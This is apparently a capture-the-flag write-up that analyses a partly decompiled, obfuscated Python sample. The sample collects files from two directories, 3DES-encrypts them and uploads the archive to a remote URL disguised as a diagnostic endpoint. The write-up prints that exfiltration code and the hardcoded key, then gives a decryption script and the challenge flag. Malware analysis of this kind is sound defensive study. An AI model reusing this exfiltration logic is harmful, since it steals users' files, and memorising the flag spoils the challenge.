IlIllIIIllIllllIll = 0
for lIlIIIIIlIIIIlIIll in lllllllllllIIll(8):
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
IIlIIIllIIIlllIIll = IlIlllIIIIlIlIIlIl >> 1 & 15
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
IlIlIlllIIIIlIIIII = lllllllllllllll.from_bytes(lllIlIlllIlllIIIII, 'big')
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
IllIIIlIllIIlIlIII = IlIlIlllIIIIlIIIII >> 32
IlllIIIIllIIlllIIl = IlIlIlllIIIIlIIIII & 4294967295
for llIIIlIIIIIllllllI in IllIIlIlIlIIIlIIII:
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
IllIllIllIlIIIlIIl = IlllIIIIllIIlllIIl << 32 | IllIIIlIllIIlIlIII
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
class lIIIIIIlIIlIIIIlIl:
def __init__(IlIllIIlIIIlIIIIlI, lIIlllIIllllIIlIIl: llllllllllllIII, lIlllIllIIlIIIlIII: llllllllllllIII):
if llllllllllllIIl(lIIlllIIllllIIlIIl)!= 24:
raise lllllllllllIlIl('1')
if llllllllllllIIl(lIlllIllIIlIIIlIII)!= 8:
raise lllllllllllIlIl('2')
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
IlIllIIlIIIlIIIIlI.lllIlllIIllIllllIl = lllllllllllllll.from_bytes(lIlllIllIIlIIIlIII, 'big')
IlIllIIlIIIlIIIIlI.lllllIIlIlIlIllIII = IlIlllllIllllllllI(IlIllIIlIIIlIIIIlI.IllIIIllIllIIIIlll)
IlIllIIlIIIlIIIIlI.IlIlIIIlIIIIlIlIII = IlIlllllIllllllllI(IlIllIIlIIIlIIIIlI.IIllIllIIIIlIIlIlI)
IlIllIIlIIIlIIIIlI.llllIIIlIllIIIlIlI = IlIlllllIllllllllI(IlIllIIlIIIlIIIIlI.IlIlIIllllIlIllIII)
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
def IIlllllllllllIIlIl(IlIllIIlIIIlIIIIlI, IIllIIIIIIlIllIlIl: llllllllllllIII) -> llllllllllllIII:
if llllllllllllIIl(IIllIIIIIIlIllIlIl) % 8:
raise lllllllllllIlIl('Data must be 8-byte aligned (pad first)')
lllIlllIIllIllllIl = IlIllIIlIIIlIIIIlI.lllIlllIIllIllllIl
IlIllIIIllIllllIll = lllllllllllllII()
for lIlIIIIIlIIIIlIIll in lllllllllllIIll(0, llllllllllllIIl(IIllIIIIIIlIllIlIl), 8):
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
lllIlllIIllIllllIl = lllIlIlllIlllIIIII
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
return llllllllllllIII(IlIllIIIllIllllIll)
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
with llIIlllIlIlIlI() as IIlIIIIIlIIlIIIIIl:
lIIIlIllllIIIlIlll = IIIIlllIIllIIl(IIlIIIIIlIIlIIIIIl)
lllIIlIIllIIlIlllI = lIIIlIllllIIIlIlll / 'payload'
lllIIlIIllIIlIlllI.mkdir()
for IlIllIlIIlIIIIlllI in llllllllllllIll(IIIIlllIIllIIl, lIIlllIIIIIIllllll):
if not IlIllIlIIlIIIIlllI.exists():
continue
for lllIIllIlIllIIIlll, IllIllIIIIllIIllll, lllIIIllIlIIIIIlIl in IlIIlIIIllIllI(IlIllIlIIlIIIIlllI):
for IIlIIIlIIIlIlllIIl in lllIIIllIlIIIIIlIl:
IlIlIlIIlIIIIIlIll = IIIIlllIIllIIl(lllIIllIlIllIIIlll, IIlIIIlIIIlIlllIIl)
IlIIIIIlIllIlllIII = IlIlIlIIlIIIIIlIll.relative_to(IlIllIlIIlIIIIlllI)
lIIlllIlIIIlIllIII = lllIIlIIllIIlIlllI / IlIIIIIlIllIlllIII
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
for lllIIllIlIllIIIlll, IllIllIIIIllIIllll, lllIIIllIlIIIIIlIl in IlIIlIIIllIllI(lllIIlIIllIIlIlllI):
for IIlIIIlIIIlIlllIIl in lllIIIllIlIIIIIlIl:
llllIllIlIIlIllIlI = IIIIlllIIllIIl(lllIIllIlIllIIIlll, IIlIIIlIIIlIlllIIl)
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
lllIlIllIIIIIIlIIl = llllIIIIlllIlllIlI.read_bytes()
IIlIIIIIllIlIlIlII = IIlIIIIIIIIllllIIl(lllIlIllIIIIIIlIIl)
llIIIlIIllIlIlIlll = lIIIIIIlIIlIIIIlIl(b'\x1bn/\xe5s\xeef \xff\x85\xe6kxJ{\x07\xa8\x03\xbd88\x10\xc0\xe4', b'%c\xe3\xe1\xa8\xd7t\xf6')
IIllIIIIIllIIIIIll = llIIIlIIllIlIlIlll.IIlllllllllllIIlIl(IIlIIIIIllIlIlIlII)
lIlIlllllIIllllIll = lIIIlIllllIIIlIlll / 'archive.enc'
lIlIlllllIIllllIll.write_bytes(IIllIIIIIllIIIIIll)
with lIlIlllllIIllllIll.open('rb') as IIIIIIIlIIIIlIIlll:
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
lIllIlIlIlIIIIllIl.raise_for_status()
if lllllllllllIlll == '__main__':
IIlIllIIllIIIIllII(SRC_DIRS, DEST_URL)
Code is not fully decompiled, but we still can see what the code want to achieve by combining output from both decompiler.
class lIIIIIIlIIlIIIIlIl:
def __init__(IlIllIIlIIIlIIIIlI, lIIlllIIllllIIlIIl: llllllllllllIII, lIlllIllIIlIIIlIII: llllllllllllIII):
if llllllllllllIIl(lIIlllIIllllIIlIIl)!= 24:
raise lllllllllllIlIl('1')
if llllllllllllIIl(lIlllIllIIlIIIlIII)!= 8:
raise lllllllllllIlIl('2')
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
IlIllIIlIIIlIIIIlI.lllIlllIIllIllllIl = lllllllllllllll.from_bytes(lIlllIllIIlIIIlIII, 'big')
IlIllIIlIIIlIIIIlI.lllllIIlIlIlIllIII = IlIlllllIllllllllI(IlIllIIlIIIlIIIIlI.IllIIIllIllIIIIlll)
IlIllIIlIIIlIIIIlI.IlIlIIIlIIIIlIlIII = IlIlllllIllllllllI(IlIllIIlIIIlIIIIlI.IIllIllIIIIlIIlIlI)
IlIllIIlIIIlIIIIlI.llllIIIlIllIIIlIlI = IlIlllllIllllllllI(IlIllIIlIIIlIIIIlI.IlIlIIllllIlIllIII)
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
def IIlllllllllllIIlIl(IlIllIIlIIIlIIIIlI, IIllIIIIIIlIllIlIl: llllllllllllIII) -> llllllllllllIII:
if llllllllllllIIl(IIllIIIIIIlIllIlIl) % 8:
raise lllllllllllIlIl('Data must be 8-byte aligned (pad first)')
lllIlllIIllIllllIl = IlIllIIlIIIlIIIIlI.lllIlllIIllIllllIl
IlIllIIIllIllllIll = lllllllllllllII()
for lIlIIIIIlIIIIlIIll in lllllllllllIIll(0, llllllllllllIIl(IIllIIIIIIlIllIlIl), 8):
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
lllIlllIIllIllllIl = lllIlIlllIlllIIIII
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
return llllllllllllIII(IlIllIIIllIllllIll)
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
with TemporaryDirectory() as temp_dir:
temp_dir_location = Path(temp_dir)
payload_location = temp_dir_location / 'payload'
payload_location.mkdir()
for path_iter in map(Path, lIIlllIIIIIIllllll):
if not path_iter.exists():
continue
for base_dir, list_dir, list_file in walk(path_iter):
for file_iter in list_file:
path_handler = Path(base_dir, file_iter)
relative_path = path_handler.relative_to(path_iter)
combined_path = payload_location / relative_path
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
for base_dir, list_dir, list_file in walk(payload_location):
for file_iter in list_file:
llllIllIlIIlIllIlI = Path(base_dir, file_iter)
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
lllIlIllIIIIIIlIIl = llllIIIIlllIlllIlI.read_bytes()
IIlIIIIIllIlIlIlII = IIlIIIIIIIIllllIIl(lllIlIllIIIIIIlIIl)
llIIIlIIllIlIlIlll = lIIIIIIlIIlIIIIlIl(b'\x1bn/\xe5s\xeef \xff\x85\xe6kxJ{\x07\xa8\x03\xbd88\x10\xc0\xe4', b'%c\xe3\xe1\xa8\xd7t\xf6')
IIllIIIIIllIIIIIll = llIIIlIIllIlIlIlll.IIlllllllllllIIlIl(IIlIIIIIllIlIlIlII)
lIlIlllllIIllllIll = temp_dir_location / 'archive.enc'
lIlIlllllIIllllIll.write_bytes(IIllIIIIIllIIIIIll)
with lIlIlllllIIllllIll.open('rb') as IIIIIIIlIIIIlIIlll:
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
lIllIlIlIlIIIIllIl.raise_for_status()
if lllllllllllIlll == '__main__':
IIlIllIIllIIIIllII(SRC_DIRS, DEST_URL)


Manually deobfuscate the code and looking at disasm output (using pycdas) we got the idea what the code did.
Get files from directory below
C:\SecretMusic_01bc59b0059dd953cc8e59bdc86937f1839d9338aabbef279e92cc94680310c8
C:\SecretDocuments_78dbfebd2b180fccff80a1c7dc7d2696744ac111a4ff26f94bd715b52aabc112
Create zip (archive.zip) for the files and encrypt the zip using class
lIIIIIIlIIlIIIIlIl
then save it with namearchive.enc
.Last, send
archive.enc
to theDEST_URL
which is https://gkfmdgkdgb.pythonanywhere.com/sendDiagnostic.php
Most of the constants in the code used by lIIIIIIlIIlIIIIlIl
, looking at the constant we will found that most likely it is kind of DES
cipher based on constant values.

Single DES use 8 bytes key to do the encryption and decryption but in this case there are 24 bytes value and 8 bytes value. Most likely 24 bytes
is the key and 8 bytes
is the IV. Looking at another variant of DES we found 3DES
that match with this criteria. So let's create a script to decrypt the zip file.
from Crypto.Cipher import DES3
key = b'\x1bn/\xe5s\xeef \xff\x85\xe6kxJ{\x07\xa8\x03\xbd88\x10\xc0\xe4'
iv = b'%c\xe3\xe1\xa8\xd7t\xf6'
cipher = DES3.new(key, DES3.MODE_CBC, iv)
f = open("dump-90161b4684796572ab2bf2f323f8a57a.dmp", "rb").read()
index = f.index(b'Content-Disposition: form-data; name="file"; filename="archive.enc"')
out = open("flag.zip", "wb")
out.write(cipher.decrypt(f[index:index+1000].split(b"\r\n\r\n")[-1].split(b"\r\n--9031bbac282acd1040fabc7f553fa43e--\r\n")[0]))

Flag: SAS{n3v3r_g0nn4_g1v3_up_u51ng_unp0pul4r_50ftw4r3}
Last updated